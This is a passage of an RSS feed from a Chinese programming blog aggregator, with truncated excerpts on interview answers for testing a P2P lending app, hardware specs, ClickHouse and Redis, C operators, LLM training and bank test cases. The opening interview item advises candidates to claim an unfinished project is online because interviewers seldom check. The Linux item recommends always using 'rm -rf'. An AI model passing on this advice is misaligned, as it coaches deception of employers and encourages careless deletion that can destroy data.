（或者补充说：去数据库里查看此借款产品的状态）&#xA;2）你们这个P2P上线了吗？能查吗？项目花了多久时间，预计多久完成？&#xA;回答：&#xA;两种方案：&#xA;还没上线，查不了，这个是新项目，计划半年时间完成，但是因为中途有出现一些问题没有解决完毕，所以现在还没有在预计时间内完成。&#xA;大家写的项目名在网上确实能查出来，就说上线了，能查到的。（面试官其实不一定会去查）&#xA;3）实名认证你们是怎么测得？调取什么平台的资料？&#xA;实名认证接口：&#xA;银行卡实名认证（调用银行接口，验证卡号，姓名，身份证号码，手机号码。需要利用到手机接收到的验证码）&#xA;身份证实名认证（全国公民身份证号码查询服务中心，或者直接说公安接口）&#xA;4）P2P你们也测试后台管理吗？个人芝麻信用积分是调取哪里的资料？&#xA;测试后台管理：&#xA;后台也测，但是我主要测试前台，我的关注点是前台，后台只是拿来用，能配合前台正常走完流程就行。&#xA;后台主要对前台进行管理，主要有贷款管理，资金管理。&#xA;贷款管理：可以查看投资人的投资情况，也可以查看借款人的借款产品，对借款产品进行管理。比如审批，每期的还款提醒，预警等。&#xA;资金管理：管理查看用户的充值，审批用户的提现过程。&#xA;芝麻信用积分：调用的是支付宝的接口，芝麻信用：调用的是支付宝那边的接口（支付宝提供这样的芝麻信用服务，每查一次收取大概0.1元）&#xA;5）P2P功能测试你们一般做几轮？&#xA;回答：&#xA;中型版本（大修改，一个月上线一次）：</description>
    </item>
    <item>
      <title>ROCKCHIP瑞芯微 RK3588J 工业级 显示主控芯片</title>
      <link>https://bchobby.github.io/posts/3b7acaa00f551d8317ba394b71a4c970/</link>
      <pubDate>Tue, 05 Dec 2023 13:56:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3b7acaa00f551d8317ba394b71a4c970/</guid>
      <description>RK3588&#xA;RK3588是Rockchip的新一代旗舰SOC。它采用8nm制程工艺、基于A76 + A55的big.LITTLE设计，具备4K UI性能、8K VPU，拥有NPU2.0等。内置专用NPU主要用于AI应用程序。RK3588支持8K视频解码和4K视频编码，同时还支持多个4K输出，对于高端显示应用非常有吸引力。&#xA;RK3588的主要特性:&#xA;1.CPU：4个Cortex-A76和4个Cortex-A55内核，采用动态配置&#xA;2.GPU：ARM Mali-G610&#xA;3.NPU：6TOPs AI算力，支持INT4/INT8/INT16/FP16&#xA;4.多媒体：8K视频解码支持，4K编码支持&#xA;5.显示器：4K视频输出，双显示器支持&#xA;6.处理器：8纳米低压&#xA;7.影像接口：2*HDMI TX/2*DP TX/2*eDP TX/2*MIPI DSI TX/1*HDMI IN/6*MIPI CSI RX&#xA;8.数据接口：4*PCLe3.0/3*PCLe2.0/3*SATA3.0/3*USB3.1/4*USB2.0/2*TypeC/2*GMA&#xA;9.内存：LPDDR4X/LPDDR5，最高支持32GB内存&#xA;10.支持操作系统：Android、Linux及国产操作系统&#xA;11.图像信号处理器：最大48M像素ISP</description>
    </item>
    <item>
      <title>前端vue导出PPT幻灯片，使用pptxgen.js，超详细(赋原数据)</title>
      <link>https://bchobby.github.io/posts/ba4dc6cd5930488c6e9285cce9adf60e/</link>
      <pubDate>Tue, 05 Dec 2023 11:49:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ba4dc6cd5930488c6e9285cce9adf60e/</guid>
      <description>即上一篇文章最终代码&#xA;前端vue导出PPT，使用pptxgen.js&#xA;前端vue导出PPT，使用pptxgen.js 一个平台下有10个国家，这个是后端返回数据固定的，每一个国家下面有10个物流方式，这10个物流方式是这10个国家都有的，也就是所有物流方式去重之后也只有10个物流方式,10个国家，物流方式method0到method9最多也为10个，但也可以不是10个，也就是method0到method9以内是不固定的，它跟methodTotalCount0数量是有联系的，methodTotalCount0也是0–9之内的范围&#xA;参数说明 buyerCountryName：对应国家&#xA;comparison：是否上涨下降&#xA;method0–method9：物流方式的名称&#xA;methodTotalCount0–methodTotalCount9：物流方式对应的数量&#xA;totalCount：每个国家的总数&#xA;为了方便查看逻辑代码，我把原数据放下面，temp1 就是模拟接口的数据 &amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;zh-CN&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;utf-8&#34;&amp;gt; &amp;lt;title&amp;gt;前端vue导出PPT，使用pptxgen.js Demo&amp;lt;/title&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;h1 style=&#34;text-align: center;&#34;&amp;gt;请打开F12控制台查看数据&amp;lt;/h1&amp;gt; &amp;lt;div id=&#34;chart-container&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;!--加载整个Lodash库--&amp;gt; &amp;lt;script src=&#34;https://cdn.bootcdn.net/ajax/libs/lodash.js/4.17.21/lodash.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script &amp;gt; // import _ from &#39;lodash&#39; // temp1 就是模拟接口的数据 const temp1 = { // 这里的数据在下面******* } let salechannelArr = Object.keys(temp1).map(key1 =&amp;gt; key1) // 获取平台的总数 console.log(&#39;temp1&#39;, temp1) console.log(&#39;获取平台的总数&#39;, salechannelArr) this.salechannelSumArr = salechannelArr let salechannelItemList = [] // 存放所有平台的数据 let buyerCountryList = [] // 存放所有平台对应国家的数据 let result = Object.</description>
    </item>
    <item>
      <title>visual studio 在使用open3d出现的问题及解决方式</title>
      <link>https://bchobby.github.io/posts/b0efa3301f454b04d33b044129c864ba/</link>
      <pubDate>Tue, 05 Dec 2023 11:38:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b0efa3301f454b04d33b044129c864ba/</guid>
      <description>visual studio 使用open3d出现的问题及解决方式（持续更新中） Q1 使用open3d::utility::LogInfo系列出现LNK2001问题，如下所示：&#xA;LNK2001 无法解析的外部符号 “char __cdecl fmt::v6::internal::decimal_point_impl(class fmt::v6::internal::locale_ref)”&#xA;LNK2001 无法解析的外部符号 “public: static unsigned __int64 const * const fmt::v6::internal::basic_data::zero_or_powers_of_10_64” A1 【属性管理器】-&amp;gt;【C/C++】-&amp;gt;【预处理器】，添加“FMT_HEADER_ONLY”</description>
    </item>
    <item>
      <title>【linux命令】删除文件（模糊匹配前缀）</title>
      <link>https://bchobby.github.io/posts/01185b3602b9838ddb1558e56147ada7/</link>
      <pubDate>Tue, 05 Dec 2023 10:56:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/01185b3602b9838ddb1558e56147ada7/</guid>
      <description>比如删除temp目录下以a开头的所有文件：&#xA;首先要进到temp目录下&#xA;在删除前先使用ls a查看要删除哪些文件，防止误删除&#xA;确认无误后，使用 rm -rf a 命令，删除a开头的所有文件&#xA;●虽然“-rf”选项是用来删除目录的，但是删除文件也不会报错。所以，为了使用方便，一般不论是删除文件还是删除目录，都会直接使用“-rf”选项。&#xA;来源：https://blog.csdn.net/Rockandrollman/article/details/121237886</description>
    </item>
    <item>
      <title>SVN 版本管理</title>
      <link>https://bchobby.github.io/posts/f20c2d80b459b23bb6fdbfca912ce026/</link>
      <pubDate>Tue, 05 Dec 2023 09:07:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f20c2d80b459b23bb6fdbfca912ce026/</guid>
      <description>SVN 文件状态 这里有一张图片可以说明：</description>
    </item>
    <item>
      <title>clickhouse从mysql同步数据到clickhouse的几种方式</title>
      <link>https://bchobby.github.io/posts/bef4405984c1c87dbb43055b90db4995/</link>
      <pubDate>Tue, 05 Dec 2023 01:38:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bef4405984c1c87dbb43055b90db4995/</guid>
      <description>背景 我们的业务数据一般来说都是放在Mysql中的，而我们要分析的数据一般都存放在clickhouse中，所以如何把数据从mysql同步到ck，就变成了一个必须的步骤，本文简单记录下几种同步的方式&#xA;mysql数据同步到clickhouse 方式一：&#xA;在clickhouse中独立创建一个ck的表，对应着mysql的一张表数据，然后使用定时任务比如每天或者每小时从mysql中查询一天的增量或者一小时的增量数据插入到ck中，这种方式比较容易理解和实现&#xA;方式二：&#xA;使用canel+kafka同步二进制binlog的方式同步数据，具体来说是把每条db的变更转换成kafka的记录，然后消费kafka消息把数据插入到ck中&#xA;方式三：&#xA;使用ck提供的mysql引擎表&#xA;CREATE TABLE [IF NOT EXISTS] [db.]table_name [ON CLUSTER cluster] ( name1 [type1] [DEFAULT|MATERIALIZED|ALIAS expr1] [TTL expr1], name2 [type2] [DEFAULT|MATERIALIZED|ALIAS expr2] [TTL expr2], ... ) ENGINE = MySQL(&#39;host:port&#39;, &#39;database&#39;, &#39;table&#39;, &#39;user&#39;, &#39;password&#39;[, replace_query, &#39;on_duplicate_clause&#39;]) SETTINGS [ connection_pool_size=16, ] [ connection_max_tries=3, ] [ connection_wait_timeout=5, ] [ connection_auto_close=true, ] [ connect_timeout=10, ] [ read_write_timeout=300 ] ; 方式四：&#xA;使用ck提供的当前还处于实验阶段的MaterializedMySQL引擎&#xA;CREATE DATABASE mysql ENGINE = MaterializedMySQL(&#39;localhost:3306&#39;, &#39;db&#39;, &#39;user&#39;, &#39;***&#39;); 方式五：</description>
    </item>
    <item>
      <title>SpringBoot系列之使用Redis ZSet实现排序分页</title>
      <link>https://bchobby.github.io/posts/9cbf6f6c7d6a6bf1e818823359d88d7c/</link>
      <pubDate>Tue, 05 Dec 2023 00:01:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9cbf6f6c7d6a6bf1e818823359d88d7c/</guid>
      <description>软件环境： JDK 1.8&#xA;SpringBoot 2.2.1&#xA;Maven 3.2+&#xA;Mysql 8.0.26&#xA;spring-boot-starter-data-redis 2.2.1&#xA;jedis3.1.0&#xA;开发工具&#xA;IntelliJ IDEA&#xA;smartGit&#xA;实现思路 相对于set来说，sorted set是一种有序的set，排序是根据每个元素的score排序的，score相同时根据key的ASCII码排序&#xA;根据ZSET的个性，我们可以实现一个排序，同时有个序号，也可以实现分页的逻辑，下面给出一个例子，看看具体的实现&#xA;项目搭建 使用Spring官网的https://start.spring.io快速创建Spring Initializr项目&#xA;选择maven、jdk版本&#xA;选择需要的依赖&#xA;因为pagehelper在里面搜索不到，所以手动加上&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.github.pagehelper&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;pagehelper&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;5.1.8&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 动手实践 为了方便测试，写一个测试类，批量写入数据&#xA;import cn.hutool.core.date.DatePattern; import cn.hutool.core.date.DateUtil; import cn.hutool.core.date.TimeInterval; import cn.hutool.json.JSONUtil; import com.example.redis.model.dto.UserDto; import org.junit.jupiter.api.Test; import org.springframework.boot.test.context.SpringBootTest; import org.springframework.dao.DataAccessException; import org.springframework.data.redis.connection.RedisConnection; import org.springframework.data.redis.core.RedisCallback; import org.springframework.data.redis.core.RedisTemplate; import javax.annotation.Resource; import java.time.LocalDateTime; import java.time.ZoneId; import java.time.temporal.ChronoUnit; import java.util.Date; import java.util.HashMap; import java.util.Map; import java.</description>
    </item>
    <item>
      <title>【C语言必学知识点四】操作符</title>
      <link>https://bchobby.github.io/posts/9f355263df39b0c6df6cc8842ea1a05a/</link>
      <pubDate>Mon, 04 Dec 2023 19:01:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9f355263df39b0c6df6cc8842ea1a05a/</guid>
      <description>操作符详解 前言一、操作符分类二、算术操作符1.成员2.小结 三、移位操作符1.成员2.移动内容2.1 计算机中的单位2.2 常见数据类型所占空间大小2.3 移位内容测试 3.原码、反码、补码3.1 原码3.2 反码与补码 4.算术移位4.1 正整数移位4.2 负整数移位 5.逻辑移位6.整数的存储7.移位方式的测试8.小结 四、位操作符1.成员2.操作内容3.运算规则4.小结 五、赋值操作符1.成员2.赋值逻辑3.自赋值操作符4.小结 六、单目操作符1.成员2.多种含义的操作符——&#39;+&#39;、&#39;-&#39;、&#39;*&#39;、&#39;&amp;amp;&#39;2.1 正值与负值——&#39;+&#39;、&#39;-&#39;2.2 地址的产生2.3 地址的作用2.4 取地址与解引用操作符——&#39;*&#39;、&#39;&amp;amp;&#39;2.5 小结 3.一种含义的单目操作符3.1 &#39;!&#39;——逻辑反操作3.2 &#39;sizeof&#39;——计算操作对象所占空间大小（以字节为单位）3.2.1 sizeof的用法3.2.2 sizeof计算表达式3.2.3 小结 3.3 &#39;~&#39;——对一个数的二进制按位取反3.4 前置--、后置--与前置++、后置++3.4.1 ++、--的作用3.4.2 前置、后置的区别 3.5 &#39;(类型)&#39;——强制类型转换 七、关系操作符1.成员2.用法介绍3.注意事项4.小结 八、逻辑操作符1.成员2.操作内容3.运算规则4.与位操作符的异同点4.1 相同点4.2 不同点 5.运算特点6.总结 九、条件操作符1.成员2.运算规则3.总结 十、逗号表达式1.成员2.用法介绍2.1 隔开同类型的操作对象2.2 隔开表达式 3.运算规则4.总结 十一、下标引用、函数调用、和结构成员1.成员2.&#34;[]&#34;——下标引用操作符3.&#34;()&#34;——函数调用操作符3.1 操作符的使用 4.&#34;.&#34;/&#34;-&amp;gt;&#34;——结构体成员操作符4.1 什么是结构体？4.2 为什么结构体成员操作符有两个？它们有什么区别？4.2 操作符的使用 5.总结 十二、表达式求值1.隐式类型转换1.1 整型提升1.1.1 什么是整型提升？1.1.2 整型提升的意义 1.2 如何进行整型提升？1.3 截断1.4 小结1.5 算术转换1.6 什么是算术转换？1.7 小结 2.操作符的属性2.1 优先级2.2 结合性2.3 小结 3.问题表达式解析3.1 表达式一——a * b + c * d + e * f3.</description>
    </item>
    <item>
      <title>【主题广范|见刊快】2024年海洋工程与测绘遥感国际学术会议(ICOESRS 2024)</title>
      <link>https://bchobby.github.io/posts/46b3e0d76cca0494f40e91eae7ffc798/</link>
      <pubDate>Mon, 04 Dec 2023 17:15:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/46b3e0d76cca0494f40e91eae7ffc798/</guid>
      <description>【主题广范|见刊快】2024年海洋工程与测绘遥感国际学术会议(ICOESRS 2024)&#xA;2024 International Conference Ocean Engineering and Surveying Remote Sensing(ICOESRS 2024)&#xA;一、【会议简介】&#xA;随着人类对海洋的认识和开发不断深入，海洋工程和测绘遥感技术的研究和应用也日益重要。这个会议的召开，无疑为推动海洋科技的发展提供了一个国际化的交流平台。&#xA;在这次会议上，将会有众多知名专家和学者分享他们在海洋工程和测绘遥感领域的最新研究成果。这些研究涵盖了海洋资源开发、海洋环境保护、海洋灾害预警等多个方面。通过分享这些研究成果，与会者可以了解最新的技术进展和应用前景。&#xA;二、【征稿主题】主题包括但不限于以下&#xA;水下声学和声学海洋学&#xA;声呐信号/图像处理与通信&#xA;海洋观测平台、系统和仪器&#xA;遥感&#xA;海洋数据可视化、建模和信息管理&#xA;海洋环境、海洋学和气象学&#xA;光学、成像、视觉和 E-M 系统&#xA;海洋法律、政策、管理和教育&#xA;海洋工程结构与技术&#xA;远洋航行器和浮动结构&#xA;海底工程和海底作业&#xA;海底光学传感、成像和仪器仪表&#xA;深水开发技术&#xA;海洋工程结构与技术&#xA;船舶和机器人&#xA;远洋航行器和浮动结构&#xA;海洋环境、海洋学和气象学&#xA;环境遥感&#xA;图象数据处理技术&#xA;高光谱影像处理 遥感信息提取 光学成像 大数据分析与处理 光学遥感 全球定位和导航系统&#xA;合成孔径雷达&#xA;地理信息系统(GIS) 微波遥感 地理信息科学 全球导航卫星系统（GNSS）&#xA;摄影测量学&#xA;大地测量学 测绘技术 工程测量学&#xA;矿山测量学 精密测绘仪器 GPS原理与应用&#xA;数字测图&#xA;光学仪器&#xA;数字图像处理&#xA;三、【重要信息】&#xA;投稿邮箱：title_sub@163.com&#xA;投稿时请邮箱正文备注：论文投稿+苏老师推荐+投稿人姓名&#xA;最终截稿时间：请查看官网&#xA;接受/拒稿：投稿后2-3日内通知&#xA;四、【论文提交】&#xA;1. 文章需全英文，重复率低于30%。&#xA;2. 文章必须要有题目、作者、单位、邮箱、关键词、摘要、必要的图表、结论、参考文献等。&#xA;3. 投稿流程：投稿→审稿→录用→注册→开具增值税普票（专票）→电子版→纸质版→检索。</description>
    </item>
    <item>
      <title>JS浮点数精度问题及解决方案</title>
      <link>https://bchobby.github.io/posts/f48e45cb5a1e77ec537d1b7414c3dc52/</link>
      <pubDate>Mon, 04 Dec 2023 16:45:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f48e45cb5a1e77ec537d1b7414c3dc52/</guid>
      <description>前端面试大全·JS浮点数精度问题及解决方案&#xA;🌟经典真题&#xA;🌟浮点数精度常见问题&#xA;🌟为什么会有这样的问题&#xA;🌟真题解答&#xA;🌟总结&#xA;🌟经典真题 为什么 console.log(0.2+0.1==0.3) 得到的值为 false 🌟浮点数精度常见问题 在 JavaScript 中整数和浮点数都属于 number 数据类型，所有数字都是以 64 位浮点数形式储存，即便整数也是如此。 所以我们在打印 1.00 这样的浮点数的结果是 1 而非 1.00 。&#xA;在一些特殊的数值表示中，例如金额，这样看上去有点别扭，但是至少值是正确了。&#xA;然而要命的是，当浮点数做数学运算的时候，你经常会发现一些问题，举几个例子：&#xA;场景一：进行浮点值运算结果的判断&#xA;// 加法 console.log(0.1 + 0.2); // 0.30000000000000004 console.log(0.7 + 0.1); // 0.7999999999999999 console.log(0.2 + 0.4); // 0.6000000000000001 console.log(2.22 + 0.1); // 2.3200000000000003 // 减法 console.log(1.5 - 1.2); // 0.30000000000000004 console.log(0.3 - 0.2); // 0.09999999999999998 // 乘法 console.log(19.9 * 100); // 1989.</description>
    </item>
    <item>
      <title>ubuntu20.04使用LIO-SAM对热室空间进行重建</title>
      <link>https://bchobby.github.io/posts/776279aa6a3661567231ba265e8f6d61/</link>
      <pubDate>Mon, 04 Dec 2023 16:44:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/776279aa6a3661567231ba265e8f6d61/</guid>
      <description>一、安装LIO-SAM 1.环境配置 默认已经安装过ros&#xA;sudo apt-get install -y ros-Noetic-navigation sudo apt-get install -y ros-Noetic-robot-localization sudo apt-get install -y ros-Noetic-robot-state-publisher 安装 gtsam(如果是18.04的ubuntu直接按照官网配置，20.04见下面的链接)&#xA;sudo add-apt-repository ppa:borglab/gtsam-release-4.0 sudo apt install libgtsam-dev libgtsam-unstable-dev catkin_make in ROS Noetic [Error] · Issue #206 · TixiaoShan/LIO-SAM · GitHub&#xA;2.下载编译代码 cd ~/catkin_ws/src git clone https://github.com/TixiaoShan/LIO-SAM.git cd .. catkin_make 二、 lidar和imu的外参标定以及imu的内参标定 外参标定见我的上一个文章，这里只说一下imu内参标定&#xA;Ubuntu20.04编译并运行imu_utils，并且标定IMU-CSDN博客&#xA;这篇文章里面的第二章imu数据采集，其实就是运行imu驱动，然后录制一个bag包。其他的他都讲的很详细这里就不说了。&#xA;三、热室地图重建 修改lio-sam的config里面的params.yaml里面的lidar和imu话题以及imu内参，lidar_imu的外参等&#xA;针对密闭热室空间的重建这几个参数至关重要(因为空间里面好多相似的管道，所以对于点面特征的匹配要求很高)&#xA;实验发现：&#xA;mappingCornerLeafSize从0.1变成0.2，地图并不会发生大幅度飘逸，但是在局部区域对不齐，会有翻转和微量飘移。&#xA;mappingSurfLeafSize从0.2变为0.4，地图会直接飞走。&#xA;odometrySurfLeafSize从0.2变为0.4，效果和0.2差不多，但是会存在一定的拖影。</description>
    </item>
    <item>
      <title>samba 配置文件详解</title>
      <link>https://bchobby.github.io/posts/edbe53e7f17d6eb65a3296297b83f57c/</link>
      <pubDate>Mon, 04 Dec 2023 15:17:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/edbe53e7f17d6eb65a3296297b83f57c/</guid>
      <description>#============================== Global Settings =============================&#xA;[global]&#xA;samba服务器的全局设置，对整个服务器有效。&#xA;workgroup&#xA;语法：workgtoup = &amp;lt;工作组群&amp;gt;;&#xA;预设：workgroup = MYGROUP&#xA;说明：设定 Samba Server 的工作组&#xA;例：workgroup = workgroup 和WIN2000S设为一个组，可在网上邻居可中看到共享。&#xA;server string&#xA;语法：server string = &amp;lt;说明&amp;gt;;&#xA;预设：sarver string = Samba Server&#xA;说明：设定 Samba Server 的注释&#xA;其他：支持变量 t%-访问时间 I%-客户端IP m%-客户端主机名 M%-客户端域名 S%-客户端用户名&#xA;例：server string = this is a Samba Server 设定出现在Windows网上邻居的 Samba Server 注释为 this is a Samba Server&#xA;hosts allow&#xA;语法：hosts aoolw = &amp;lt;IP地址&amp;gt;; ...&#xA;预设：; host allow = 192.</description>
    </item>
    <item>
      <title>仅用61行代码，你也能从零训练大模型</title>
      <link>https://bchobby.github.io/posts/8e596b81a02eeead944955e3fa1821e7/</link>
      <pubDate>Mon, 04 Dec 2023 15:15:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8e596b81a02eeead944955e3fa1821e7/</guid>
      <description>本文并非基于微调训练模型，而是从头开始训练出一个全新的大语言模型的硬核教程。看完本篇，你将了解训练出一个大模型的环境准备、数据准备，生成分词，模型训练、测试模型等环节分别需要做什么。AI 小白友好~文中代码可以直接实操运行。欢迎阅读体验。&#xA;目录&#xA;1 准备训练环境&#xA;2 准备训练数据&#xA;3 训练分词器&#xA;4 训练模型&#xA;5 测试模型&#xA;6 完整代码&#xA;通过这篇文章，你可以预训练一个全新大语言模型。&#xA;注意是全新的模型，不是微调。&#xA;全新训练的好处是训练的数据、训练的参数都是可修改的，通过调试运行我们可以更好的理解大模型训练过程。我们可以用特定类型数据的训练，来完成特定类型数据的输出。&#xA;关于大模型已经有很多文章，微调模型的文章比较多，全新预训练全新模型的文章很少。个人觉得有的也讲的很复杂，代码也很难跑通。本文不会讲的很复杂，代码也很容易运行。仅用61行代码，就能训练出一个全新大语言模型。&#xA;本文以代码为主，运行代码需要 Python 环境。&#xA;01、准备训练环境 我的训练环境基于腾讯云的 GPU 机器。&#xA;地址：https://cloud.tencent.com/product/gpu&#xA;GPU类型：GN7.2XLARGE32 T4 显卡：1颗 显存：16GB；&#xA;python 3.11；&#xA;requirements.txt: tokenizers==0.13.3 torch==2.0.1 transformers==4.30. 02、准备训练数据 首先我们要为训练准备数据，比如我就想基于《三国演义》训练一个模型。三国演义下载地址：&#xA;https://raw.githubusercontent.com/xinzhanguo/hellollm/main/text/sanguoyanyi.txt&#xA;03、训练分词器 分词（tokenization）是把输入文本切分成有意义的子单元（tokens）。通过以下代码，根据我们的数据生成一个新的分词器：&#xA;from tokenizers import Tokenizer from tokenizers.models import BPE from tokenizers.trainers import BpeTrainer from tokenizers.normalizers import NFKC, Sequence from tokenizers.pre_tokenizers import ByteLevel from tokenizers.decoders import ByteLevel as ByteLevelDecoder from transformers import GPT2TokenizerFast # 构建分词器 GPT2 基于 BPE 算法实现 tokenizer = Tokenizer(BPE(unk_token=&#34;</description>
    </item>
    <item>
      <title>【软件测试】银行测试项目，转账功能&#43;Web银行开户测试点（详细）</title>
      <link>https://bchobby.github.io/posts/2e8883d2becc9e4f796ea0f1fa5ef129/</link>
      <pubDate>Mon, 04 Dec 2023 14:37:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2e8883d2becc9e4f796ea0f1fa5ef129/</guid>
      <description>目录：导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结（尾部小惊喜） 前言 1、银行项目转账功能的测试点&#xA;1）手机号转账模块&#xA;点击是否可以正常进入&#xA;是否可以输入手机号&#xA;是否可以选择收款银行&#xA;收款人姓名是否可以正常输入&#xA;附言是否可以正常输入&#xA;点击下一步是否可以跳转至转账确认界面&#xA;是否显示转账信息&#xA;是否可以选择安全工具&#xA;密码框是否可以输入&#xA;点击确认是否可以跳转至结果界面&#xA;是否显示转账详细信息&#xA;点击完成是否可以跳转至首页&#xA;2）账号转账模块&#xA;账号转账模块&#xA;是否可以正常打开该模块&#xA;点击转出账户模块是否可以选择账户&#xA;点击输入金额是否可以正常输入&#xA;点击转账币种是否可以选择其他币种&#xA;点击输入收款账户是否可以正常输入&#xA;点击收款人名称是否可以正常输入&#xA;点击短信通知收款人是否可以选择&#xA;点击附言是否可以正常输入&#xA;附言是否可以输入超出20个汉字字符&#xA;点击转账方式是否可以选择&#xA;点击下一步是否跳转至转账确认界面&#xA;是否显示默认安全工具&#xA;点击安全工具是否可以选择&#xA;选择安全工具是否跳转至输入交易密码的页面&#xA;密码框是否可以正常输入&#xA;点击确定是否可以跳转至操作结果模块&#xA;转账详情是否有详情按钮&#xA;点击详情按钮是否显示转账详细信息&#xA;是否显示完成按钮&#xA;点击完成是否跳转至转账模块&#xA;3）转账记录模块&#xA;转账记录模块是否可以正常进入&#xA;是否显示近三个月的转账记录&#xA;是否有筛选按钮&#xA;是否可以筛选近2年的交易记录&#xA;筛选区间是否可以大于三个月&#xA;点击一条转账记录是否可以跳转至详情界面&#xA;是否显示分享给微信好友的按钮&#xA;点击分享给微信好友是否生成交易回单&#xA;转账记录是否可以删除&#xA;4）预约转账&#xA;转账信息模块是否可以正常打开预约转账模块&#xA;点击发起预约转账是否可以跳转至转账页面&#xA;是否可以选择付款账户&#xA;是否可以选择币种&#xA;是否可以正常注入收款人名称&#xA;是否可以输入收款帐号&#xA;是否可以选择转账方式&#xA;是否可以点击立即预约&#xA;点击预约是否可以跳转至预约见面&#xA;预约界面选择预约日期执行&#xA;点击日期是否可以进行选择&#xA;点击下一步是否跳转至支付界面&#xA;选择预约周期执行&#xA;预约周期是否可以选择&#xA;起始日期是否可以选择&#xA;结束日期是否可以选择&#xA;点击下一步是否跳转至支付页面&#xA;转账确认模块是否显示转账信息&#xA;是否可以选择安全工具</description>
    </item>
    <item>
      <title>深度学习机器视觉车道线识别与检测 -自动驾驶 计算机竞赛</title>
      <link>https://bchobby.github.io/posts/66283b5910dbe8eeb8584dbee50ac44e/</link>
      <pubDate>Mon, 04 Dec 2023 14:26:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/66283b5910dbe8eeb8584dbee50ac44e/</guid>
      <description>文章目录 1 前言2 先上成果3 车道线4 问题抽象(建立模型)5 帧掩码(Frame Mask)6 车道检测的图像预处理7 图像阈值化8 霍夫线变换9 实现车道检测9.1 帧掩码创建9.2 图像预处理9.2.1 图像阈值化9.2.2 霍夫线变换 最后 1 前言 🔥 优质竞赛项目系列，今天要分享的是&#xA;🚩 机器视觉 深度学习 车道线检测 - opencv&#xA;该项目较为新颖，适合作为竞赛课题方向，学长非常推荐！&#xA;🥇学长这里给一个题目综合评分(每项满分5分)&#xA;难度系数：3分工作量：3分创新点：4分 🧿 更多资料, 项目分享：&#xA;https://gitee.com/dancheng-senior/postgraduate&#xA;2 先上成果 3 车道线 理解车道检测的概念&#xA;那么什么是车道检测？以下是百度百科对车道的定义：&#xA;车道，又称行车线、车行道，是用在供车辆行经的道路。在一般公路和高速公路都有设置，高速公路对车道使用带有法律上的规则，例如行车道和超车道。&#xA;对其进行定义是很重要的，因为它使我们能够继续进行车道检测概念。我们在建立一个系统时不能有任何含糊不清的地方。&#xA;正如我前面提到的，车道检测是自动驾驶汽车和自动驾驶汽车的关键组成部分。这是驾驶场景理解的重要研究课题之一。一旦获得车道位置，车辆就知道去哪里，并避免撞上其他车道或离开道路。这样可以防止驾驶员/车辆系统偏离车道。&#xA;以下是一些随机道路图像（第一行）及其检测到的车道（第二行）：&#xA;4 问题抽象(建立模型) 我们希望执行的任务是实时检测视频中的车道。我们可以通过多种方式进行车道检测。我们可以使用基于学习的方法，例如在带注释的视频数据集上训练深度学习模型，或者使用预训练好的模型。&#xA;然而，也有更简单的方法来执行车道检测。在这里，学长将向你展示如何在不使用任何深入学习模型的情况下完成此任务。&#xA;下面是将要处理的视频的一个帧：&#xA;正如我们在这张图片中看到的，我们有四条车道被白色的车道标线隔开。所以，要检测车道，我们必须检测车道两边的白色标记。这就引出了一个关键问题——我们如何检测车道标线？&#xA;除了车道标线之外，场景中还有许多其他对象。道路上有车辆、路侧护栏、路灯等，在视频中，每一帧都会有场景变化。这很好地反映了真实的驾驶情况。&#xA;因此，在解决车道检测问题之前，我们必须找到一种方法来忽略驾驶场景中不需要的对象。&#xA;我们现在能做的一件事就是缩小感兴趣的领域。与其使用整个帧，不如只使用帧的一部分。在下面的图像中，除了车道的标记之外，其他所有内容都隐藏了。当车辆移动时，车道标线将或多或少地落在该区域内：&#xA;5 帧掩码(Frame Mask) 帧掩码只是一个NumPy数组。&#xA;当我们想对图像应用掩码时，只需将图像中所需区域的像素值更改为0、255或任何其他数字。&#xA;下面给出了一个图像掩蔽的例子。图像中某个区域的像素值已设置为0：&#xA;这是一种非常简单但有效的从图像中去除不需要的区域和对象的方法。&#xA;6 车道检测的图像预处理 我们将首先对输入视频中的所有帧应用掩码。&#xA;然后，我们将应用图像阈值化和霍夫线变换来检测车道标线。&#xA;7 图像阈值化 在这种方法中，灰度图像的像素值根据阈值被指定为表示黑白颜色的两个值之一。因此，如果一个像素的值大于一个阈值，它被赋予一个值，否则它被赋予另一个值。&#xA;如上所示，对蒙版图像应用阈值后，我们只得到输出图像中的车道标线。现在我们可以通过霍夫线变换很容易地检测出这些标记。&#xA;8 霍夫线变换 霍夫线变换是一种检测任何可以用数学方法表示的形状的方法。</description>
    </item>
    <item>
      <title>chatGPT流式输出的几种方式</title>
      <link>https://bchobby.github.io/posts/906b984d0c99100de6433efde07b3608/</link>
      <pubDate>Mon, 04 Dec 2023 14:19:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/906b984d0c99100de6433efde07b3608/</guid>
